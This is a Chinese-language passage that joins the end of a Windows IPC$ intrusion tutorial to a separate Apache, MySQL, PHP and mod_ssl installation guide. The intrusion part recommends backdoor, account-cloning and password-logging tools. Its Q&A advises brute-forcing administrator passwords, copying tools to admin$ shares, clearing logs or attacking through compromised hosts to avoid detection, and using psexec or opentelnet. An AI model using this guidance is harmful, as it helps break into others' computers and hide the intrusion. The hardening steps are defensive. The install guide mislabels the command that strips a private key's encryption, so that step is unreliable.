已经没有第二步了,用一步获得shell之后,你做什么都可以了,安后门可以用winshell,克隆就用ca吧,开终端用3389.vbe,记录密码用win2kpass,总之好的工具不少,随你选了,我就不多说了。
十四 如何防范ipc$入侵察看本地共享资源
运行-cmd-输入net share
删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)
1 禁止空连接进行枚举(此#作并不能阻止空连接的建立)
运行regedit,找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:1
如果设置为"1",一个匿名用户仍然可以连接到IPC$共享,但无法通过这种连接得到列举SAM帐号和共享信息的权限;在Windows 2000 中增加了"2",未取得匿名权的用户将不能进行ipc$空连接。建议设置为1。如果上面所说的主键不存在,就新建一个再改键值。如果你觉得改注册表麻烦,可以在本地安全设置中设置此项: 在本地安全设置-本地策略-安全选项-''对匿名连接的额外限制''
2 禁止默认共享
1)察看本地共享资源
运行-cmd-输入net share
2)删除共享(重起后默认共享仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)
3)停止server服务
net stop server /y (重新启动后server服务会重新开启)
4)禁止自动打开默认共享(此#作并不能关闭ipc$共享)
运行-regedit
server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。
pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
这两个键值在默认情况下在主机上是不存在的,需要自己手动添加,修改后重起机器使设置生效。
3 关闭ipc$和默认共享依赖的服务:server服务
如果你真的想关闭ipc$共享,那就禁止server服务吧:
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-选已禁用,这时可能会有提示说:XXX服务也会关闭是否继续,因为还有些次要的服务要依赖于server服务,不要管它。
4 屏蔽139,445端口
由于没有以上两个端口的支持,是无法建立ipc$的,因此屏蔽139,445端口同样可以阻止ipc$入侵。
1)139端口可以通过禁止NBT来屏蔽
本地连接-TCP/IT属性-高级-WINS-选‘禁用TCP/IT上的NETBIOS’一项
2)445端口可以通过修改注册表来屏蔽
添加一个键值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
value: 0
修改完后重启机器
注意:如果屏蔽掉了以上两个端口,你将无法用ipc$入侵别人。
3)安装防火墙进行端口过滤
6 设置复杂密码,防止通过ipc$穷举出密码,我觉得这才是最好的办法,增强安全意识,比不停的打补丁要安全的多。
十五 ipc$入侵问答精选
1.进行ipc$入侵的时候,会在服务器中留下记录,有什么办法可以不让服务器发现吗?
答:留下记录是一定的,你走后用清除日志程序删除就可以了,或者用肉鸡入侵。
2.你看下面的情况是为什么,可以连接但不能复制
net use \\***.***.***.***\ipc$ "密码" /user:"用户名"
命令成功
copy icmd.exe \\***.***.***.***\admin$
找不到网络路径
命令不成功
答:像“找不到网络路径”“找不到网络名”之类的问题,大多是因为你想要复制到的共享文件夹没有开启,所以在复制的时候会出现错误,你可以试着找找其他的共享文件夹。
3.如果对方开了IPC$,且能建立空联接,但打开C、D盘时,都要求密码,我知道是空连接没有太多的权限,但没别的办法了吗?
答:建议先用流光或者别的什么扫描软件试着猜解一下密码,如果猜不出来,只能放弃,毕竟空连接的能力有限。
4.我已经猜解到了管理员的密码,且已经ipc$连接成功了,但net view \\ip发现它没开默认共享,我该怎么办?
答:首先纠正你的一个错误,用net view \\ip是无法看到默认共享的,你可以试着将文件复制到c$,d$看看,如果都不行,说明他关闭了默认共享,那你就用opentelnet.exe或p***ec.exe吧,用法上面有。
5.ipc$连接成功后,我用下面的命令建立了一个帐户,却发现这个帐户在我自己的机器上,这是怎么回事?
net uset ccbirds /add
答:ipc$建立成功只能说明你与远程主机建立了通信隧道,并不意味你取得了一个shell,只有在获得一个shell(比如telnet)之后,你才能在远程机器建立一个帐户,否则你的#作只是在本地进行。
6.我已进入了一台肉机,用的管理员帐号,可以看他的系统时间,但是复制程序到他的机子上却不行,每次都提示“拒绝访问,已复制0个文件”,是不是对方有什么服务没开,我该怎么办?
答:一般来说“拒绝访问”都是权限不够的结果,可能是你用的帐户有问题,还有一种可能,如果你想向普通共享文件夹复制文件却返回这个错误,说明这个文件夹设置的允许访问用户中不包括你(哪怕你是管理员),这一点我在上一期文章中分析了。
7.我用Win98能与对方建立ipc$连接吗?
答:理论上不可以,要进行ipc$的#作,建议用win2000,用其他#作系统会带来许多不必要的麻烦。
8.我用net use \\ip\ipc$ "" /user ""成功的建立了一个空会话,但用nbtstat -A IP 却无法导出用户列表,这是为什么?
答:空会话在默认的情况下是可以导出用户列表的,但如果管理员通过修改注册表来禁止导出列表,就会出现你所说的情况;还有可能是你自己的NBT没有打开,netstat命令是建立在NBT之上的。
9.我建立ipc$连接的时候返回如下信息:‘提供的凭据与已存在的凭据集冲突’,怎么回事?
答:呵呵,这说明你已经与目标主机建立了ipc$连接,两个主机间同时建立两个ipc$连接是不允许的。
10.我在映射的时候出现:
F:\>net use h: \\211.161.134.*\e$
系统发生 85 错误。
本地设备名已在使用中。这是怎么回事?
答:你也太粗心了吧,这说明你有一个h盘了,映射到没有的盘符吧!
11.我建立了一个连接f:\>net use \\*.*.*.*\ipc$ "123" /user:"guest" 成功了,但当我映射时出现了错误,向我要密码,怎么回事?
F:\>net use h: \\*.*.*.*\c$
密码在 \\*.*.*.*\c$ 无效。
请键入 \\*.*.*.*\c$ 的密码:
系统发生 5 错误。
拒绝访问。
答:呵呵,向你要密码说明你当前使用的用户权限不够,不能映射C$这个默认共享,想办法提升权限或者找管理员的弱口令吧!默认共享一般是需要管理员权限的。
12.我用superscan扫到了一个开了139端口的主机,但为什么不能空连接呢?
答:你混淆了ipc$与139的关系,能进行ipc$连接的主机一定开了139或445端口,但开这两个端口的主机可不一定能空连接,因为对方可以关闭ipc$共享.
13.我门局域网里的机器大多都是xp,我用流光扫描到几个administrator帐号口令是空,而且可以连接,但不能复制东西,说错误5。请问为什么?
答:xp的安全性要高一些,在安全策略的默认设置中,对本地帐户的网络登录进行身份验证的时候,默认为来宾权限,即使你用管理员远程登录,也只具有来宾权限,因此你复制文件,当然是错误5:权限不够。
14.我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,可是 net use i: \\192.168.0.2\c
出现请键入 \\192.168.0.2 的密码,怎么回事情呢?我用的可是管理员呀?应该什么都可以访问呀?
答:虽然你具有管理员权限,但管理员在设置c盘共享权限时(注意:普通共享可以设置访问权限,而默认共享则不能)可能并未设置允许administrator访问,所以会出现上述问题。
15.如果自己的机器禁止了ipc$, 是不是还可以用ipc$连接别的机器?如果禁止server服务呢?
答:禁止以上两项仍可以发起ipc$连接,不过这种问题自己动手试验会更好。
16.能告诉我下面的两个错误产生的原因吗?
c:\>net time \\61.225.*.*
系统发生 5 错误。
拒绝访问。
c:\>net view \\61.225.*.*
系统发生 5 错误。
拒绝访问。
答:起初遇到这个问题的时候我也很纳闷,错误5表示权限不够,可是连空会话的权限都可以完成上面的两个命令,他为什么不行呢?难道是他没建立连接?后来那个粗心的同志告诉我的确是这样,他忘记了自己已经删了ipc$连接,之后他又输入了上面那两个命令,随 之发生了错误5。
17.您看看这是怎么回事?
F:\>net time
找不到时间服务器。
请键入 NET HELPMSG 3912 以获得更多的帮助。
答:答案很简单,你的命令错了,应该是net time \\ip
没输入ip地址,当然找不到服务器。view的命令也应该有ip地址,即:net view \\ip
在局域网中组建自己的Web站点
apache+mysql+php+ssl服务器之完全安装攻略
为了这个任务所需的工具是:
Apache-一个网站服务器
Mod_SSL-一个安全套接字层(SSL)的模块
OpenSSL-开放源代码工具箱(mod_ssl所需)
RSARef-仅对美国用户
MySQL-一个数据库服务器
PHP-一种脚本语言
“条条大路通罗马”……因此这只是很多能达到我们要求的配置之一。我选择这样的配置,是因为它是最简单和最快的一种。选择Mod_SSL/OpenSSL的原因是因为我有它的先前经验,是最快配置和最容易安装的一种。为了彼此方便地与Apache集成,我选择了PHP和MySQL。记住,Perl能做到你想要做任何工作,然而,PHP对任何想学习它地程序员来说简单并且容易。
希望你将在结束这个简单的指南后能成功地完成下列目标。
安装并设置MySQL数据库服务器
o 知道怎样检查MySQL服务器的状态
o 知道怎样使用命令行客户程序存取MySQL服务器
o 知道怎样从web存取你的DB服务器
安装并设置具备SSL的Apache网站服务器
o 配置一个简单的虚拟网站
o 知道怎样停止并启动服务器
o 知道怎样做一些基本的主机托管配置
安装并配置服务器端脚本的PHP 4.0超文本预处理器
o 知道怎样编写简单的php代码
o 知道怎样使用php连接一个DB
o 创建一个启用PHP地简单网站与一个数据库沟通
创造一些样本证书用于Apache SSL
o 知道怎样产生一个CSR文件
o 知道怎样加密一个键码
o 知道怎样 签署你自己的证书
本文将覆盖大量的信息。本指南作为一个入门性地的指南,让你步入电子商务、网站脚本和安全套接字层 (SSL)的世界,目的是帮助你建立由存储在数据库中的动态信息驱动的安全网站。
本文绝非是一个详细全面的文档,它当然将有一些错误(希望最小),在你阅读它时请记住这一点。然而,它将激起你的热情并运行前面提到的产品,希望让你更好理解这些东西是怎样工作的。不需要以前的编程知识,但假定你有点计算机知识背景。我的目标是编写这个文档以便任何新手能理解我正在谈论的东西。如果我达到了,那么我做了一件好事。如果你轻而易举地建立了电子商务站点,比我做的更出色:-) 给我一些解释。
假设
本文假设你已经把下列软件安装在你的系统上了。
Perl (最好是ver 5+)
gzip或gunzip
gcc 和 GNU make
如果你没有安装好这些,你将需要采取必要的步骤在解释本文的任何过程前把他们安装好。
你也需要对UNIX命令、HTML、和SQL的一个基本了解。你应该有怎样管理你的Linux机器的一个基本了解。你也需要一个完全正常的Linux机器,你将在它上面安装软件。当然你将需要在前面列出的必要的软件包以编译源代码,并且最后,保证你还没有在Linux机器中预装了MySQL、Apache、或PHP。
工作原理
理解在幕后发生了什么是有帮助的。这里是一个过分简化的工作原理,下图和随后的解释目前不是完全正确的,只是它的一个要点概述:
情况是:我们有一个从一个数据库取出一些数据的网页。John Doe从他的浏览器请求该页,请求被发送给web服务器,接着调用一个PHP脚本。PHP脚本由PHP预处理器解释并从数据库中取出数据,然后结果由余下的PHP脚本加工并转化成HTML,做后的HTML被发回用户的浏览器。
让我们一步一步地看:
John Doe 从他的浏览器中点击一个链接;他的浏览器发送对http://www.yourserver.com/test.php的请求。
Apache得到对test.php的请求,它知道.php文件应由PHP预处理器(mod_php)处理,因此它通知 PHP处理它。它知道这些,是因为我们在Apache的配置中指定它。
test.php是包含命令的一个PHP脚本。这些命令之一是打开一个到一个数据库的连接并抓取数据。PHP 处理到数据库的连接,并且解释SQL调用从DB中提取数据。
服务器服务器得到从PHP解释器来的连接请求,并且处理这个请求。请求可能是类似于一个简单的选择语句,或数据库表创建等。
数据库然后将应答和结果回送到PHP解释器。
Apache回送该结果到John Doe的浏览器,作为对他请求的应答。John Doe现在看见一个包含从一个数据库来的一些信息的网页。
如果这是一个对https://www.yoursecureserver.com/test.php的请求,整个过程与上述类似,除了每个请求和应答在两端被加密和解密,即,浏览器连接Apache,获得它的加密键码,加密请求并发送它。
服务器看到请求,解密并且认证它。它处理文件,加密并且发送它。然后浏览器用服务器的键码解密它。记住既然连接被加密,就是用不同的端口用。端口80用在在非安全连接上,而端口443用在安全连接时。
再说一次,它不是100%的正确,但是它足够快地让你知道幕后发生的事情的非常简单的概述。
既然我们对我们正在试图达到的目标有了一个很基本的了解,让我们继续安装软件吧。
准备
Apache (Web服务器)-http://www.apache.org
Mod_SSL (安全服务器层)-http://www.modssl.org
OpenSSL (SSL工具箱)-http://www.openssl.org
PHP (脚本语言)-http://www.php.net
MySQL (SQL数据库服务器 )-http://www.mysql.com
下载所有(tar文件)源代码到一个临时目录下。保证你把他们放在有很多空间的地方……你应该以root身份下载他们以避免权限问题。
我们的计划
我们的计划是首先安装MySQL服务器并保证它工作,然后我们将安装PHP和Mod_SSL,最后我们将安装Apache网站服务器。在我们安装了Apache以后,我们可以测试PHP和Mod_SSL支持是否起作用了。
MySQL源代码安装(UNIX)
你必须用来执行安装MySQL源代码分发的基本命令是(自一个没解开“tar”文件):
通过使用su成为 root用户。
$su
直接进入你有tar文件的目录。(使用一个临时目录。这里使用 /tmp/download/ )
#cd /tmp/download/
使用下列命令提取文件。
# gunzip -d -c mysql-3.22.xx.tar.gz | tar xvf -
改变到新目录,它在提取期间创建。
# cd mysql-3.22.xx
现在你可以开始“配置”MySQL服务器。你可以用configure指定很多选项,使用configure --help查看所有的选项。我已经选择--prefix指定到安装地点的直接路径。configure将检查你的编译器和一些其他东西。如果你有任何错误,你可以检查config.cache文件查看错误。
# configure --prefix=/usr/local/mysq
在你完成了配置以后,你可以执行下列命令make真正的二进制代码。
# make
现在你已准备好安装所有的二进制代码。运行下列命令在你用configure --prefix选项指定的目录下安装二进制代码。
# make install
在你安装好二进制代码后,现在是创建用于定义权限的mysql表的时候了。
# scripts/mysql_install_db
# cd /usr/local/mysql/bin
# ./safe_mysqld &
# ./mysqladmin -u root password "new-password"
注意:/usr/local/mysql是我选择安装MySQL服务器的目录。你可以通过改变目录选择另外的地方。
你可以通过运行一些简单的测试来验证服务器正在工作以确保MySQL正在运行。输出应该类似于下面所示的:BINDIR=/usr/local/mysql/bin。BINDIR依赖于你在上面的前缀选择的目录。
# BINDIR/mysqlshow -p
+---------------+
| Databases |
+---------------+
| mysql |
+---------------+
一旦你安装好MySQL,它将自动地创建2个数据库。一个mysql表,它控制在实际的服务器中用户、主机和 数据库权限;另一个是一个test数据库,我们能使用test数据库。然而,我们想给你一个快速而简单的MySQL可用的一些命令行选项的概述。这也将保证root被设置了对DB服务器的全部存取权限,即:root有创建数据库、数据库表等的许可,因此我们将创建一个test2数据库,在以后我们用它进行我们的测试。在你通过命令行进入MySQL前,你将被提示root用户的新口令。记住你以前改变了它。
# mysql -u root -p
mysql> show databases;
+----------------+
| Database |
+----------------+
| mysql |
| test |
+----------------+
mysql> create database test2;
Query OK, 1 row affected (0.00 sec)
现在选择新的数据库使用,并创建一个名为tst_tbl的新表, 有下列2个字段。字段1是是一个id字段,允许你知道记录的id。实质上为了简化这只是的一个行号。第二个字段是你一个name字段,存储书名信息。这些字段的格式是:字段1(id)是一个长度为3的整数(int),而字段2(name)是一个长度为50的字符(char)字段。为搜索和索引数据,我们指定id为键码。
mysql> use test2;
Database changed
mysql> CREATE TABLE books ( id int(3) not null
-> auto_increment, name char(50) not null,
-> unique(id), primary key(id));
Query OK, 0 rows affected (0.00 sec)
现在我们用下列命令验证一切正确无误。
mysql> show tables
+---------------------+
| Tables in test2 |
+---------------------+
| books |
+---------------------+
1 row in set (0.00 sec)
mysql> describe books;
+-------+-------------+------+------+----------+------------------------+
| Field | Type | Null | Key | Default | Extra |
+-------+-------------+------+------+----------+------------------------+
| id | int(3) | | PRI | 0 | auto_increment |
| name | char(50) | | | | |
+-------+-------------+------+------+----------+------------------------+
2 rows in set (0.00 sec)
注意到describe命令基本上“描述”了表的布局。相当不错吧!
好,该试一些确实有用的SQL命令,插入并从数据库中选择数据,现在把几个记录加到新表中。记住这些是简单的书名记录,但是一旦你获得了SQL足够的经验,你可以为一些大的电子商务站点创建确实复杂的数据库。让我们创建2本假想的书的2条记录。第一条记录是我在将来某天写的一本书的名字-“PHP 4 Newbies”,另一本是一个很有用的Linux书,“Red Hat Linux 6 Server”, 由Mohammed J. Kabir所著。
mysql> INSERT INTO books (name) values("PHP 4 Newbies");
Query OK, 1 row affected (0.00 sec)
mysql> INSERT INTO books (name) values("Red Hat Linux 6 Server");
Query OK, 1 row affected (0.00 sec)
现在我们可以检查新纪录,发出一条“选择所有”命令
mysql> SELECT * from books;
+----+----------------------------------+
| id | name |
+----+----------------------------------+
| 1 | PHP for Newbies |
| 2 | Red Hat Linux 6 Server |
+----+----------------------------------+
2 rows in set (0.00 sec)
很好,MySQL服务器完全起作用了。我们可以继续加入,但是此时没什么意义。注意到当你向数据库中插入记录时,你怎样不必指定id号,这是因为你创建了启用auto_increment选项的id字段。
让我演示一下如何做一个快速删除。这只是让你知道,记住,你可在MySQL的网站http://www.mysql.com上找到所需的有关mysql命令和服务器的所有信息。
mysql> delete from books where id=1;
Query OK, 1 row affected (0.00 sec)
mysql> select * from books;
+----+-----------------------------------+
| id | name |
+----+-----------------------------------+
| 2 | Red Hat Linux 6 Server |
+----+-----------------------------------+
1 row in set (0.00 sec)
好了,退出MySQL,继续安装。你可在完成所有安装并且一切工作正常后玩MySQL也不迟。
PHP安装(UNIX)
现在安装PHP语言。你下载了最新的beta版,但是你可能必须下载非beta版本。记住beta版本需要GNU make。
你仍然假定是root,如果不是,su回到root。
PHP要求你已经预先配置好的Apache,以便它能知道所需的东西在哪儿。在以后你安装Apache服务器时,你将会回到这里。改变到你有源代码的目录。
# cd /tmp/DOWNLOAD
# gunzip -c apache_1.3.x.tar.gz | tar xf -
# cd apache_1.3.x
# ./configure
# cd ..
好的,现在你可以开始PHP的安装。提取源代码文件并进入其目录。如果你下载了版本3,在数字和命令上有一个改变,不大的改变。
# gunzip -c php-4.0.x.tar.gz | tar xf -
# cd php-4.0.x
如果你正在编译代码,configure将永远是你的朋友。:-) 因此,configure有很多选项。使用configure --help确定你想要增加哪些。我只是需要MySQL和LDAP,并且当然Apache。
# ./configure --with-mysql=/usr/local/mysql
--with-xml
--with-apache=../apache_1.3.x
--enable-track-vars
--with-ldap
make并安装二进制代码。
# make
# make install
拷贝ini文件到lib目录。
# cp php.ini-dist /usr/local/lib/php.ini
你可以编辑PHP文件来设置PHP选项,如你可以通过在你的php.ini文件中插入下列行,增加php的max_execution_time。
max_execution_time = 60;
注意:php3用户将使用php3.ini,而php4用户将使用php.ini文件。
Apache 与 Mod_SSL
该配置并安装mod_ssl和Apache了。对此,你将需要有rsaref-2.0文件。在http://ftpsearch.lycos.com/上搜索“rsaref20.tar.Z”。如果你不喜欢Lycos,你可以选择其他搜索引擎来搜索文件。当然只有你在美国才需要这个文件。(管它呢,你也可从别处下载,首先在http://ftpsearch.ntnu.no/查找“rsaref20.tar.Z”,好多啊!。)
创建rasref目录,你将在该目录提取文件。注意。这假定你下载了一个临时目录,而你就在此目录。
# mkdir rsaref-2.0
# cd rsaref-2.0
# gzip -d -c ../rsaref20.tar.Z | tar xvf -
现在配置并构造OpenSSL库。
# cd rsaref-2.0
# cp -rp install/unix local
# cd local
# make
# mv rsaref.a librsaref.a
# cd ../..
安装OpenSSL。记住,你将用它来创建临时证书和CSR文件。--prefix选项指定主安装目录。
# cd openssl-0.9.x
# ./config -prefix=/usr/local/ssl
-L`pwd`/../rsaref-2.0/local/ rsaref -fPIC
现在make、测试并安装它。
# make
# make test
# make install
# cd ..
我们将配置MOD_SSL模块,然后用Apache配置指定它为一个可装载的模块。
# cd mod_ssl-2.5.x-1.3.x
# ./configure
--with-apache=../apache_1.3.x
# cd ..
现在我们可以把更多的Apache模块加到Apache源代码树中。可选的--enable-shared=ssl选项使得mod_ssl构造成为一个DSO“libssl.so”。关于在Apache支持DSO的更多信息,阅读Apache源代码树中的INSTALL和 htdocs/manual/dso.html文档。我强烈建议ISP和软件包装维护者为了最灵活地使用mod_ssl而使用DSO工具,但是注意,DSO不是在所有平台上的Apache都支持。
# cd apache_1.3.x
# SSL_BASE=../openssl-0.9.x
RSA_BASE=../rsaref-2.0/local
./configure --enable-module=ssl
--activate-module=src/modules/php4/libphp4.a
--enable-module=php4 --prefix=/usr/local/apache
--enable-shared=ssl
[...你可加入更多的选项...]
生成Apache,然后生成证书,并安装...
# make
如果你已正确地完成,你将得到类似于以下的信息:
+-----------------------------------------------------------------------+
| Before you install the package you now should prepare the SSL |
| certificate system by running the "make certificate" command. |
| For different situations the following variants are provided: |
| |
| % make certificate TYPE=dummy (dummy self-signed Snake Oil cert) |
| % make certificate TYPE=test (test cert signed by Snake Oil CA) |
| % make certificate TYPE=custom (custom cert signed by own CA) |
| % make certificate TYPE=existing (existing cert) |
| CRT=/path/to/your.crt [KEY=/path/to/your.key] |
| |
| Use TYPE=dummy when you’re a vendor package maintainer, |
| the TYPE=test when you’re an admin but want to do tests only, |
| the TYPE=custom when you’re an admin willing to run a real server |
| and TYPE=existing when you’re an admin who upgrades a server. |
| (The default is TYPE=test) |
| |
| Additionally add ALGO=RSA (default) or ALGO=DSA to select |
| the signature algorithm used for the generated certificate. |
| |
| Use "make certificate VIEW=1" to display the generated data. |
| |
| Thanks for using Apache & mod_ssl. Ralf S. Engelschall |
| rse@engelschall.com |
| www.engelschall.com |
+-----------------------------------------------------------------------+
现在你可以创建一个定制的证书。该选项将提示输入你的地址、公司、和其他一些东西。关于证书,请参阅本文的结尾。
# make certificate TYPE=custom
现在安装Apache...
# make install
如果一切正常,你应该看到类似于以下的信息:
+----------------------------------------------------------------------------------+
| You now have successfully built and installed the |
| Apache 1.3 HTTP server. To verify that Apache actually |
| works correctly you now should first check the |
| (initially created or preserved) configuration files |
| |
| /usr/local/apache/conf/httpd.conf |
| and then you should be able to immediately fire up |
| Apache the first time by running: |
| |
| /usr/local/apache/bin/apachectl start |
| Or when you want to run it with SSL enabled use: |
| |
| /usr/local/apache/bin/apachectl startssl |
| Thanks for using Apache. The Apache Group |
| http://www.apache.org / |
+----------------------------------------------------------------------------------+
现在验证Apache和PHP是否正在工作。然而,我们需要编辑srm.conf和httpd.conf保证我们把PHP类型加到了配置中。查看httpd.conf并去掉下列行的注释。如果你精确地遵循了本文的指令,你的httpd.conf文件将位于/usr/local/apache/conf目录。文件有一行针对php4的addtype加了注释,现在就去掉注释。httpd.conf 文件--片断
>
> # And for PHP 4.x, use:
> #
---> AddType application/x-httpd-php .php
---> AddType application/x-httpd-php-source .phps
>
>
现在我们准备启动Apache服务器看它是否在工作。首先我们将启动不支持SSL的服务器看它是否启动了。我们将检查对PHP的支持,然后我们将停止服务器并且启动启用了SSL支持的服务器并检查我们是否一切正常。configtest 将检查所有配置是否正确设置。
# cd /usr/local/apache/bin
# ./apachectl configtest
Syntax OK
# ./apachectl start
./apachectl start: httpd started
测试我们的工作
Apache 正在工作吗?
如果它工作正常,当你用Netscape连接服务器时,你将看见一幅类似于这幅屏幕捕获的屏幕。这是基本上 是Apache缺省安装的页面。
注意:你可以用域名或机器实际的IP地址与服务器连接。检查这两种情形,确保一切工作正常。
PHP支持正在工作吗??
现在将测试PHP支持……创建一个文件(名为:test.php ),它有下列信息。文件需要位于文档根路径下,它应该缺省设置为/usr/local/apache/htdocs。注意这依赖于我们以前选择的前缀,然而,这可在 httpd.conf中改变。设置多个虚拟主机将在另一篇文章加少,请留意,因为它将涉及安装Apache和它的指令的一些很基本的选项。
test.php 文件
< ?
phpinfo();
?>
它将显示有关服务器、php和环境的信息。下面是输出页面的顶部的屏幕抓取。
很酷吧,PHP起作用了。
SSL 选择正在工作吗??
好了,现在我们准备测试SSL了。首先停止服务器,并以启用SSL的选项重启它。
# /usr/local/apache/bin/apachectl stop
# /usr/local/apache/bin/apachectl startssl
测试它是否工作:通过用一个Netscape与服务器连接并且选择https协议,即:https://youserver.yourdomain.com 或 http://yoursever.yourdomain.com:443 ,也可以再试一下你的服务器的 ip地址,即:https://xxx.xxx.xxx.xxx和 http://xxx.xxx.xxx.xxx:443 。
如果它起作用了,服务器将把证书发送到浏览器以建立一个安全连接。这将让浏览器提示你接受自己签署的证书。,如果它是来自VeriSign或Thawte的一张证书,那么浏览器将不提示你,因为证书来自一个可信的证书授权机构(CA)。在我们的情况中,我们创建并签署我们自己的证书……我们不想马上买一个。首先,我们想要保证我们能使一切正常。
你在Netscape中将看见启用了下列选项。这就告诉你一个安全的连接已经建立起来了。
PHP和MySQL能一起工作吗??
现在,我们可以确定php能与MySQL一起工作,通过创建一个简单的脚本,对“test2”数据库做一些插入和数据删除操作。只是一个简单的脚本以测试它是否工作了。在另一篇文章中我们将讨论PHP脚本连接一个 MySQL数据库。还记得我们已经创建立了数据库和一张表。我们可以现在完成它,但是我选择不。我想要再检查一次root有权限创建立数据库和表,然而,PHP提供了对MySQL的提供,因此我能很容易地编写代码以创建一个测试数据库和若干条记录。
记得我们以前创建了书籍数据库。如果你跳过了以前的内容,这部分将不工作。我们创建了有一个“books”表的test2数据库,并且为一本书插入了一条记录。
这个脚本基本上浏览该表并列出所有字段名,它的确很简单。
< ?
$dbuser = "root";
$dbhost = "localhost";
$dbpass = "password";
$dbname = "test2";
$dbtble = "books";
$mysql_link = mysql_connect($dbhost,$dbuser,$dbpass);
$column = mysql_list_fields($dbname,$dbtble,$mysql_link);
for($i=0; $i< mysql_num_fields($column); $i++ )
{
print mysql_field_name($column,$i )."< br> ";
}
?>
一个更复杂的例子将向你演示PHP某些绝妙的功能。
< html>
< head>
< title> Example 2 -- more details< /title>
< /head>
< body bgcolor="white">
< ?
$dbuser = "root";
$dbhost = "localhost";
$dbpass = "password";
$dbname = "test2";
$dbtable = "books";
//------ DATABASE CONNECTION --------//
$mysql_link = mysql_connect($dbhost,$dbuser,$dbpass);
$column = mysql_list_fields($dbname,$dbtable,$mysql_link);
$sql = "SELECT * FROM $dbtable";
$result = mysql_db_query($dbname,$sql);
?>
< table bgcolor="black">
< tr> < td>
< table>
< /td> < /tr>
< /table>
< /body>
< /html>
注意,我们竟能在同一文件中同时有HTML和PHP命令。这就是PHP脚本的奇妙之处。
虚拟主机的设置
现在是设置Apache处理一些虚拟主机的时间了。由于Apache提供的灵活性,虚拟主机可很简单地做到。首先你需要一个DNS服务器把虚拟主机的域名指向web服务器的IP地址。在DNS使用一个CNAME记录把 your_virtual_domain.com指向服务器的IP。其次你需要修改Apache的配置文件httpd.conf以增加新的虚拟域名。记住,这只是一个很基本的例子,你有勇气读一下Apache的指令。
让我们看一个 httpd.conf 的例子。
httpd.conf 片断
#--------------------------------------------------------#
# VIRTUAL HOST SECTION NON-SSL
#--------------------------------------------------------#
# VirtualHost directive allows you to specify another virtual
# domain on your server. Most Apache options can be specified
# within this section.
# Mail to this address on errors
ServerAdmin webmaster@domain1.com
# Where documents are kept in the virtual domain
# this is an absolute path. So you may want to put
# in a location where the owner can get to it.
DocumentRoot /home/vhosts/domain1.com/www/
# Since we will use PHP to create basically
# all our file we put a directive to the Index file.
DirectoryIndex index.php
# Name of the server
ServerName www.domain1.com
# Log files Relative to ServerRoot option
ErrorLog logs/domain1.com-error_log
TransferLog logs/domain1.com-access_log
RefererLog logs/domain1.com-referer_log
AgentLog logs/domain1.com-agent_log
# Use CGI scripts in this domain. In the next case you
# can see that it does not have CGI scripts. Please
# read up on the security issues relating to CGI-scripting.
ScriptAlias /cgi-bin/ /var/www/cgi-bin/domain1.com/
AddHandler cgi-script .cgi
AddHandler cgi-script .pl
# This is another domain. Note that you could host
# multiple domains this way...
# Mail to this address on errors
ServerAdmin webmaster@domain2.com
# Where documents are kept in the virtual domain
DocumentRoot /virtual/domain2.com/www/html
# Name of the server
ServerName www.domain2.com
# Log files Relative to ServerRoot option
ErrorLog logs/domain2.com-error_log
TransferLog logs/domain2.com-access_log
RefererLog logs/domain2.com-referer_log
AgentLog logs/domain2.com-agent_log
# No CGI’s for this host
# End: virtual host section
使用上述例子在你的服务器上创建你自己的虚拟主机。如果你想从Apache网站上阅读每一条指令,它的网址是:http://www.apache.org。
SSL虚拟主机
创建SSL虚拟主机类似非SSL。除了你需要指定另外的指令,还有,你需要增加一个DNS记录并且修改 httpd.conf。这里有一个例子。
#--------------------------------------------#
# SSL Virtual Host Context
#--------------------------------------------#
# General setup for the virtual host
DocumentRoot /usr/local/apache/htdocs
ServerAdmin webmaster@securedomain1.com
ServerName www.securedomain1.com
ErrorLoglogs/domain1.com-error_log
TransferLog logs/domain1.com-transfer_log
# SSL Engine Switch:
# Enable/Disable SSL for this virtual host.
SSLEngine on
# Server Certificate:
# Point SSLCertificateFile at a PEM encoded certificate. If
# the certificate is encrypted, then you will be prompted for a
# pass phrase. Note that a kill -HUP will prompt again. A test
# certificate can be generated with `make certificate’ under
# built time. Keep in mind that if you’ve both a RSA and a DSA
# certificate you can configure both in parallel (to also allow
# the use of DSA ciphers, etc.)
# Note that I keep my certificate files located in a central
# location. You could change this if you are an ISP, or ASP.
SSLCertificateFile /usr/local/apache/conf/ssl.crt/server.crt
# Server Private Key:
# If the key is not combined with the certificate, use this
# directive to point at the key file. Keep in mind that if
# you’ve both a RSA and a DSA private key you can configure
# both in parallel (to also allow the use of DSA ciphers, etc.)
SSLCertificateKeyFile /usr/local/apache/conf/ssl.key/server.key
# Per-Server Logging:
# The home of a custom SSL log file. Use this when you want a
# compact non-error SSL logfile on a virtual host basis.
CustomLog /usr/local/apache/logs/ssl_request_log
"%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x "%r" %b"
记住你有很多指令可以指定。我们将在另一篇有关配置Apache的文章中讨论,本文只是一个入门性指南。
生成证书
这是如何生成证书的按部就班的描述。
为你的Apache服务器创建一个RSA私用密钥(被Triple-DES加密并且进行PEM格式化):
# openssl genrsa -des3 -out server.key 1024
请在安全的地方备份这个server.key文件。记住你输入的通行短语(pass phrase)!你可以通过下面的命令看到这个RSA私用密钥的细节。
# openssl rsa -noout -text -in server.key
而且你可以为这个RSA私用密钥创建一个加密的PEM版本(不推荐),通过下列命令:
# openssl rsa -in server.key -out server.key.unsecure
用服务器RSA私用密钥生成一个证书签署请求(CSR-Certificate Signing Request)(输出将是PEM格式的):
# openssl req -new -key server.key -out server.csr
